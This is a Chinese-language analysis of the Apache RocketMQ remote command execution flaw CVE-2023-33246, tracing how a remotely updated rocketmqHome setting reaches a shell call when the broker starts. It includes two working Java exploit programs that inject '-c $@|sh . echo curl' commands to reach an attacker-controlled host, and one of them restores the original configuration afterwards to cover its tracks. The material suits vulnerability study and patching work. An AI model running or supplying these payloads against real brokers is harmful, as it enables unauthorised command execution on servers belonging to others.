CVE-2023-33246 RocketMQ 远程命令执行漏洞分析
2023年5月23日, Rocketmq 爆出 CVE-2023-33246 RCE高危漏洞。 在一定条件下, 攻击者可以利用该漏洞通过更新配置功能以RocketMQ运行的系统用户身份执行命令 。
漏洞利用与复现
攻击者成功RCE需要满足以下条件
- Rocketmq 版本 < 5.1.1 或 < 4.9.6
- broker 未开启认证 或 攻击者ip在broker 白名单中
- 攻击者可以通过网络访问 Rocketmq 集群
因此, Rocketmq集群建议做网络访问控制, 如果端口开放到公网去了,会存在很大的安全隐患。
靶场环境搭建主要参考:
https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT
分析漏洞根因
漏洞成因主要有两个方面:
- rocketmq 支持远程更新配置, 对配置字符没有做过滤
- broker 启动会执行 filter server相关函数,该函数会拼接配置项并执行shell命令
rocketmq 支持远程配置更新源码
关键调用processRequest()–> updateBrokerConfig() -->getConfiguration() -->update():
rocketmq 的filter server存在命令执行操作
filter server 代码中有个callShell 函数,可以执行shell 命令,要命的是传入的shellString又是 可以通过远程配置来控制的。
看一下调用链路, 可以观察到,只要broker启动, 就会执行shell命令:
- BrokerController.start() --> filterServerManager.start() --> createFilterServer() --> callShell()
那么, 这个恶意命令是如何拼接成的呢?
由于RocketmqHome这个参数的配置是可控的,攻击者可以远程修改RocketmqHome
达到命令注入的效果:
使用java利用的payload如下:
pom
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>4.9.3</version>
</dependency>
public static void updateConfig1() throws Exception {
String url = "broker_ip:port";
Properties props = new Properties();
props.setProperty("rocketmqHome","-c $@|sh . echo curl http://远程恶意主机:9999/bbbb;");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig(url, props);
Properties brokerConfig = admin.getBrokerConfig(url);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
或
String broker="xxxx1:10911";
Properties props = new Properties();
props.setProperty("rocketmqHome", "-c $@|sh . echo curl http://xxxx:8080;");
props.setProperty("filterServerNums", "1");
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr("xxxx2:9776");
admin.start();
Properties brokerConfig = admin.getBrokerConfig(broker);
String rocketmqHome = brokerConfig .getProperty("rocketmqHome");
System.out.println("初始rocketmqHome: " + rocketmqHome);
admin.updateBrokerConfig(broker, props);
System.out.println("攻击结束");
Thread.sleep( 35000L);
props.setProperty("rocketmqHome", rocketmqHome);
admin.updateBrokerConfig(broker,props);
System.out.println( "配置以已经还原"+ brokerConfig.getProperty("rocketmqHome")+"!");
admin.shutdown();
其实-c $@|sh . echo
这个shell命令注入的原理还是很值得研究一下的,本文先略过。
我们可以从rocketmq日志里看到broker执行的shell命令, 可以观察到命令注入成功